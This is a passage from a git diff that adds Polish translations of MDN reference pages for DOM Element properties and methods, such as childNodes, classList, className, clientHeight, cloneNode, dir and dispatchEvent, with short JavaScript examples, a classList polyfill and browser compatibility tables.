+<pre class="eval">var <var>listaWęzłów</var> = referencjaDoWęzłaElementu.childNodes; +</pre> +<p><var>listaWęzłów</var> to uporządkowana kolekcja obiektów węzłów, będącymi dziećmi bieżącego elementu. Jeśli element nie ma dzieci, <var>listaWęzłów</var> jest pusta.</p> +<p><var>listaWęzłów</var> to zmienna przechowująca listę węzłów. Lista taka ma typ <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">NodeList</a>. Właściwość <code>childNodes</code> jest tylko do odczytu.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// parg to referencja do obiektu elementu <p> +if (parg.hasChildNodes()) +// sprawdzamy czy obiekt nie jest pusty - czy ma dzieci + { + var children = parg.childNodes; + for (var i = 0; i < children.length; i++) + { + // zrob cos z kazdym dzieckiem jako children[i] + // uwaga: lista "żyje", dodawanie bądź usuwanie dzieci ją zmieni + }; + }; +</pre> +<pre>// sposób na usunięcie wszystkich dzieci węzła +// box to referencja do obiektu elementu, który ma dzieci +while (box.firstChild) + { + //lista jest "żywa", więc będzie przeindeksowana po każdym wywołaniu + box.removeChild(box.firstChild); + }; +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Elementy kolekcji węzłów są obiektami, a nie łańcuchami. By pobrać dane z tych obiektów, musisz użyć ich atrybutów (np. <code>referencjaDoWęzłaElementu.childNodes{{ mediawiki.external(1) }}.nodeName</code> by pobrać nazwę).</p> +<p>Obiekt <code>document</code> ma dwoje dzieci: deklarację DOCTYPE i element <code>HTML</code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<ul> + <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1451460987">W3C DOM 2 Core: childNodes</a></li> + <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1451460987">W3C DOM 3 Core: childNodes</a></li> + <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">W3C DOM 3 NodeList interface</a></li> +</ul> +<p>{{ languages( { "en": "en/DOM/element.childNodes", "fr": "fr/DOM/element.childNodes", "ja": "ja/DOM/element.childNodes", "zh-cn": "cn/DOM/element.childNodes" } ) }}</p> diff --git a/files/pl/web/api/element/classlist/index.html b/files/pl/web/api/element/classlist/index.html new file mode 100644 index 0000000000..5e7112b8d5 --- /dev/null +++ b/files/pl/web/api/element/classlist/index.html @@ -0,0 +1,264 @@ +--- +title: Element.classList +slug: Web/API/Element/classList +translation_of: Web/API/Element/classList +--- +<div>{{APIRef("DOM")}}</div> + +<p><code><strong>Element.classList</strong></code> jest właściwością tylko do odczytu, która zwraca zbiór live {{domxref("DOMTokenList")}} atrybutów klasy danego elementu.</p> + +<p>Używanie <code>classList</code> stanowi wygodną alternatywę uzyskiwania dostępu do listy klas danego elementu w formie skompresowanego stringa poprzez {{domxref("element.className")}}.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">const <var>elementClasses</var> = elementNodeReference.classList; +</pre> + +<p><em>elementClasses</em> to <a href="/en-US/docs/DOM/DOMTokenList">DOMTokenList</a> reprezentujący atrybuty klasy <em>elementNodeReference</em>. Jeśli atrybut klasy nie został określony lub jest pusty, <em>elementClasses.length</em> zwraca 0. Sam w sobie <code>element.classList</code> jest tylko do odczytu, ale można go mimo to modyfikować poprzez stosowanie metod <code>add()</code> i <code>remove()</code>.</p> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>add( String [, String] )</dt> + <dd>Nadaje określone wartości klasy. Jeśli wartości te już istnieją w atrybucie elementu, wówczas zostają zignorowane.</dd> + <dt>remove( String [,String] )</dt> + <dd>Usuwa określone wartości klasy.</dd> + <dt><strong>item</strong> ( Number )</dt> + <dd>Zwraca wartosć klasy wg indeksu w zbiorze.</dd> + <dt><strong>toggle</strong> ( String [, force] )</dt> + <dd>Jeśli występuje tylko jeden argument: Przełącza wartość klasy, tzn. jeśli klasa istnieje, wówczas <u>zostaje usunięta</u> i zwraca <code>false</code>, jeśli nie, wówczas <u>dodaje ją</u> i zwraca <code>true</code>.<br> + Jeśli występuje również drugi argument: Jeśli drugi argument uznawany jest za true, dodaje określoną wartość klasy, natomiast jeśli zostaje uznany za false, wówczas zostaje usunięty.</dd> + <dt>contains( String )</dt> + <dd>Sprawdza, czy określona wartość klasy istnieje w atrybucie klasy danego elementu.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">// div jest obiektem odwołującym się do elementu <div> o klasie ="foo bar" +div.classList.remove("foo"); +div.classList.add("anotherclass"); + +// jeśli ustawiona jest widoczność usuwa ją, w przeciwnym wypadku dodaje +div.classList.toggle("visible"); + +// dodaj/usuń (add/remove) jest widoczne, w zależności od warunku testowego, <code>i</code> mniejsze od 10 +div.classList.toggle("visible", i < 10 ); + +alert(div.classList.contains("foo")); + +// dodaj lub usuń złożone klasy +div.classList.add("foo", "bar"); +div.classList.remove("foo", "bar");</pre> + +<div class="note"> +<p>Wersje Firefoxa wcześniejsze niż 26 nie implementują użycia niektórych argumentów metod dodaj/usuń/przełącz (add/remove/toggle). Zobacz <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a></p> +</div> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush:js">// Źródło: https://gist.github.com/k-gun/c2ea7c49edf7b757fe9561ba37cb19ca +;(function() { + // pomocnicy + var regExp = function(name) { + return new RegExp('(^| )'+ name +'( |$)'); + }; + var forEach = function(list, fn, scope) { + for (var i = 0; i < list.length; i++) { + fn.call(scope, list[i]); + } + }; + + // obiekt listy klasy z podstawowymi metodami + function ClassList(element) { + this.element = element; + } + + ClassList.prototype = { + add: function() { + forEach(arguments, function(name) { + if (!this.contains(name)) { + this.element.className += this.element.className.length > 0 ? ' ' + name : name; + } + }, this); + }, + remove: function() { + forEach(arguments, function(name) { + this.element.className = + this.element.className.replace(regExp(name), ''); + }, this); + }, + toggle: function(name) { + return this.contains(name) + ? (this.remove(name), false) : (this.add(name), true); + }, + contains: function(name) { + return regExp(name).test(this.element.className); + }, + // bonus.. + replace: function(oldName, newName) { + this.remove(oldName), this.add(newName); + } + }; + + // IE8/9, Safari + if (!('classList' in Element.prototype)) { + Object.defineProperty(Element.prototype, 'classList', { + get: function() { + return new ClassList(this); + } + }); + } + + // replace() wspierane przez pozostałe przeglądarki + if (window.DOMTokenList && DOMTokenList.prototype.replace == null) { + DOMTokenList.prototype.replace = ClassList.prototype.replace; + } +})(); +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specifikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "dom.html#dom-classlist", "Element.classList")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Note within the HTML specification related to the {{htmlattrxref("class")}} attribute.</td> + </tr> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Initial definition</td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Zgodność podstawowa</td> + <td>8</td> + <td>12</td> + <td>{{CompatGeckoDesktop(1.9.2)}}</td> + <td>10<sup>[1]</sup></td> + <td>11.50</td> + <td>5.1</td> + </tr> + <tr> + <td><code>toggle()</code> method's second argument</td> + <td>24</td> + <td>12</td> + <td>{{CompatGeckoDesktop(24)}}</td> + <td>{{CompatNo}}<sup>[2]</sup></td> + <td>15</td> + <td>7</td> + </tr> + <tr> + <td>Multiple arguments for <code>add()</code> & <code>remove()</code></td> + <td>28</td> + <td>12</td> + <td>{{CompatGeckoDesktop(26)}}</td> + <td>{{CompatNo}}</td> + <td>15</td> + <td>7</td> + </tr> + <tr> + <td><code>replace()</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("49")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>3.0</td> + <td>12</td> + <td>{{CompatGeckoMobile(1.9.2)}}</td> + <td>10<sup>[1]</sup></td> + <td>11.10</td> + <td>5.0</td> + </tr> + <tr> + <td>toggle method's second argument</td> + <td>4.4</td> + <td>12</td> + <td>{{CompatGeckoMobile(24)}}</td> + <td>{{CompatNo}}<sup>[2]</sup></td> + <td>{{CompatUnknown}}</td> + <td>7.0</td> + </tr> + <tr> + <td>multiple arguments for <code>add()</code> & <code>remove()</code></td> + <td>4.4</td> + <td>12</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>7.0</td> + </tr> + <tr> + <td><code>replace()</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("49")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Brak wsparcia dla elementów SVG. Zobacz <a href="https://connect.microsoft.com/IE/feedback/details/1046039/classlist-not-working-on-svg-elements">raport w tej kwestii na stronie Microsoftu</a>.<br> + [2] Internet Explorer nigdy tego nie zimplementował. Zobacz <a href="https://connect.microsoft.com/IE/feedback/details/878564/element-classlist-toggle-does-not-support-second-parameter">raport w tej kwestii na stronie Microsoftu</a>.</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{domxref("element.className")}}</li> + <li>{{domxref("DOMTokenList")}}</li> +</ul> diff --git a/files/pl/web/api/element/classname/index.html b/files/pl/web/api/element/classname/index.html new file mode 100644 index 0000000000..31f21befb2 --- /dev/null +++ b/files/pl/web/api/element/classname/index.html @@ -0,0 +1,37 @@ +--- +title: element.className +slug: Web/API/Element/className +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/className +--- +<div> + {{APIRef}}</div> +<div> + </div> +<div> + <span style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Podsumowanie</span></div> +<p><strong>className </strong> pobiera/ustawia wartość atrybutu <code>class</code> bieżącego elementu.</p> +<h2 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h2> +<pre class="syntaxbox">var <var>nazwaKlasy</var> = referencjaDoWęzłaElementu.className; +referencjaDoWęzłaElementu.className = <var>nazwaKlasy</var>; +</pre> +<ul> + <li><var>nazwaKlasy</var> to łańcuch znaków reprezentujący klasę lub rozdzieloną spacjami listę klas bieżącego elementu.</li> +</ul> +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> +<pre class="brush:js">var elementNodeReference = document.getElementById("div1"); + +if (elementNodeReference.className == "fixed") { + // pomiń elementy określonej klasy + goNextElement(); +};</pre> +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> +<p>Dla tej właściwości użyto nazwy <code>className</code>, a nie <code>class</code>, ponieważ "class" jest w wielu językach korzystających z DOM słowem kluczowym.</p> +<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2> +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95362176">DOM Level 2 HTML: className</a></li> +</ul> diff --git a/files/pl/web/api/element/click/index.html b/files/pl/web/api/element/click/index.html new file mode 100644 index 0000000000..5c0fe512d5 --- /dev/null +++ b/files/pl/web/api/element/click/index.html @@ -0,0 +1,23 @@ +--- +title: element.click +slug: Web/API/Element/click +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/click +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Metoda <code>click</code> wywołuje kliknięcie na bieżącym elemencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">element.click() +</pre> +<h3 id="Notatki" name="Notatki">Notatki</h3> +<p>Metoda <code>click</code> symuluje zdarzenie kliknięcia na bieżącym elemencie. Zwykle używa się tego by wywołać obsługę zdarzenia przypisaną do elementu bieżącego bądź leżącego wyżej w "łańcuchu zdarzeń".</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-2651361">click</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.click", "fr": "fr/DOM/element.click" } ) }}</p> diff --git a/files/pl/web/api/element/clientheight/index.html b/files/pl/web/api/element/clientheight/index.html new file mode 100644 index 0000000000..7014fd35f5 --- /dev/null +++ b/files/pl/web/api/element/clientheight/index.html @@ -0,0 +1,47 @@ +--- +title: element.clientHeight +slug: Web/API/Element/clientHeight +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/clientHeight +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca wewnętrzną wysokość elementu w pikselach, włączając marginesy wewnętrzne ( + <i> + padding</i> + ), ale bez poziomego paska przewijania, obramowań i marginesów zewnętrznych ( + <i> + margin</i> + ).</p> +<p><code>clientHeight</code> można wyliczyć jako (właśność <code>height</code> CSS) + (<code>padding</code> w CSS) - (wysokość poziomego paska przewijania (jeśli jest)).</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval">var <var>h</var> = <var>element</var>.clientHeight; +</pre> +<p><var>h</var> to liczba całkowita reprezentująca <code>clientHeight</code> <var>element</var>u w pikselach.</p> +<p><code>clientHeight</code> jest tylko do odczytu.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;"> + <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;"> + <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p> + <p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p> + <p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p> + <p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/" rel="freelink">http://www.best-cat-art.com/</a></p> + <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p> + </div> + <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -20px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span></div> +<p style="margin-top: 270px;"><img alt="Grafika:clientHeight.png"></p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>Nie należy do żadnej ze specyfikacji W3C.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><code>clientHeight</code> jest niestandardową właściwością, wprowadzoną w modelu obiektowym przeglądarki Internet Explorer.</p> +<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3> +<ul> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clientheight.asp?frame=true">MSDN clientHeight definition</a></li> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN Measuring Element Dimension and Location</a></li> + <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/clientHeight.html">Gecko DOM Reference on clientHeight</a></li> +</ul> +<p>{{ languages( { "en": "en/DOM/element.clientHeight", "fr": "fr/DOM/element.clientHeight", "ja": "ja/DOM/element.clientHeight", "zh-cn": "cn/DOM/element.clientHeight" } ) }}</p> diff --git a/files/pl/web/api/element/clientnode/index.html b/files/pl/web/api/element/clientnode/index.html new file mode 100644 index 0000000000..eb0550678b --- /dev/null +++ b/files/pl/web/api/element/clientnode/index.html @@ -0,0 +1,32 @@ +--- +title: element.cloneNode +slug: Web/API/Element/clientNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/cloneNode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Metoda <b>cloneNode</b> zwraca kopię bieżącego węzła.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">kopiaWęzła = element.cloneNode(<i>głębokość</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>głębokość</code> jest wartością logiczną, oznaczającą, czy kopiowanie ma być głębokie czy nie (zob. uwagi poniżej)</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>p = document.getElementById("para1"); +p_prime = p.cloneNode(true); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Kopia węzła zwrócona przez <b>cloneNode()</b> nie ma rodzica. Podczas klonowania węzła skopiowane zostają wszystkie jego atrybuty i ich wartości, ale nie zostaje skopiowana treść zawarta w węźle, ponieważ treść ta przechowywana jest w węźle potomnym typu <code>Text</code>.</p> +<p>Głębokie klonowanie kopiuje i zwraca węzeł wraz z całym drzewem pod nim się znajdującym (w tym treścią z potomnych węzłów <code>Text</code>) .</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://w3.org/TR/DOM-Level-2-Core/core.html#ID-3A0ED0A4">DOM Level 2 Core: cloneNode</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.cloneNode", "fr": "fr/DOM/element.cloneNode", "ja": "ja/DOM/element.cloneNode", "pt": "pt/DOM/element.cloneNode", "zh-cn": "cn/DOM/element.cloneNode" } ) }}</p> diff --git a/files/pl/web/api/element/clientwidth/index.html b/files/pl/web/api/element/clientwidth/index.html new file mode 100644 index 0000000000..5cf48d16ad --- /dev/null +++ b/files/pl/web/api/element/clientwidth/index.html @@ -0,0 +1,47 @@ +--- +title: element.clientWidth +slug: Web/API/Element/clientWidth +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/clientWidth +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>clientWidth</b> to wewnętrzna szerokość elementu w pikselach. Zawiera margines wewnętrzny ( + <i> + padding</i> + ), ale pomija pionowy pasek przewijania (jeśli jest obecny lub renderowany), obramowania i margines zewnętrzny ( + <i> + margin</i> + ).</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval">var <var>w</var> = <var>element</var>.clientWidth; +</pre> +<p><var>w</var> to liczba całkowita odpowiadająca <b>clientWidth</b> <var>element</var>u w pikselach. <b>clientWidth</b> jest tylko do odczytu.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;"> + <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;"> + <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p> + <p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p> + <p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p> + <p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p> + <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p> + </div> + <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -24px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span><span class="comment">{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}</span></div> +<p style="margin-top: 270px;"><img alt="Image:clientWidth.png"></p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>Nie należy do żadnej ze specyfikacji W3C.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><b>clientWidth</b> został wprowadzony w modelu obiektowym DHTML przeglądarki Internet Explorer.</p> +<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3> +<ul> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clientwidth.asp?frame=true">MSDN clientWidth definition</a></li> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN Measuring Element Dimension and Location</a></li> + <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/clientWidth.html">Gecko DOM Reference on clientWidth</a></li> +</ul> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.clientWidth", "fr": "fr/DOM/element.clientWidth" } ) }}</p> diff --git a/files/pl/web/api/element/dir/index.html b/files/pl/web/api/element/dir/index.html new file mode 100644 index 0000000000..5e20e1e6ad --- /dev/null +++ b/files/pl/web/api/element/dir/index.html @@ -0,0 +1,34 @@ +--- +title: element.dir +slug: Web/API/Element/dir +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/dir +--- +<div> + {{ApiRef}}</div> +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> +<p>Atrybut <strong>dir</strong> ustawia lub pobiera kierunek pisania tekstu dla zawartości bieżącego elementu.</p> +<h2 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h2> +<pre class="syntaxbox">var <var>bieżącyKierunekPisania</var> = elementNodeReference.dir; +elementNodeReference.dir = <var>nowyKierunekPisania</var>; +</pre> +<p><var>bieżącyKierunekPisania</var> jest łańcuchem reprezentującym kierunek pisania tekstu bieżącego elementu. <var>nowyKierunekPisania</var> to zmienna łańcuchowa, której wartość reprezentuje kierunek pisania tekstu.</p> +<p>Możliwe wartości <strong>dir</strong> to <code>ltr</code> dla "od lewej do prawej" i <code>rtl</code> dla "od prawej do lewej".</p> +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> +<pre class="brush:js">var parg = document.getElementById("para1"); + +parg.dir = "rtl"; +// zmienia kierunek tekstu w paragrafie "para1" +</pre> +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> +<p>Kierunek pisania tekstu elementu oznacza kierunek, w którym idzie tekst (do obsługi różnych języków). Języki arabski i hebrajski to typowe przykłady użycia kierunku <em>rtl</em>.</p> +<p>Obrazek może mieć atrybut <em>dir</em> ustawiony na <em>rtl</em>. W takim wypadku atrybuty <em>title</em> i <em>alt</em> będą sformatowane i wyświetlona jako <em>rtl</em>.</p> +<p>Jeśli tabela ma kierunek <em>rtl</em>, kolumny porządkowane są od prawej do lewej.</p> +<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2> +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-52460740">W3C DOM Level 2 HTML: dir</a></li> +</ul> diff --git a/files/pl/web/api/element/dispatchevent/index.html b/files/pl/web/api/element/dispatchevent/index.html new file mode 100644 index 0000000000..266c570cfe --- /dev/null +++ b/files/pl/web/api/element/dispatchevent/index.html @@ -0,0 +1,43 @@ +--- +title: element.dispatchEvent +slug: Web/API/Element/dispatchEvent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/EventTarget/dispatchEvent +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Wywołuje zdarzenie w bieżącym elemencie.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>bool</em> = <em>element</em>.dispatchEvent(<em>event</em>) +</pre> + +<ul> + <li><code>event</code> to <a href="pl/DOM/event">obiekt zdarzenia</a>, które ma zostać wywołane.</li> + <li>Jeśli któraś z funkcji obsługujących to zdarzenie wywoła <a href="pl/DOM/event.preventDefault">preventDefault</a>, zwracana wartość to <code>false</code>. W przeciwnym przypadku zwracane jest <code>true</code>.</li> +</ul> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Jak pokazuje powyższy przykład, <code>dispatchEvent</code> to ostatni krok w procesie utwórz-zainicjuj-wywołaj, którego używa się by ręcznie wywołać zdarzenia w modelu zdarzeń implementacji.</p> + +<p>Zdarzenie może zostać utworzone przy użyciu metody <a href="pl/DOM/document.createEvent">document.createEvent</a> i zainicjowane za pomocą <a href="pl/DOM/event.initEvent">initEvent</a> lub innej, bardziej wyspecjalizowanej metody, jak <a href="pl/DOM/event.initMouseEvent">initMouseEvent</a> albo <a href="pl/DOM/event.initUIEvent">initUIEvent</a>.</p> + +<p>Zobacz też dokumentację <a href="pl/DOM/event">obiektu 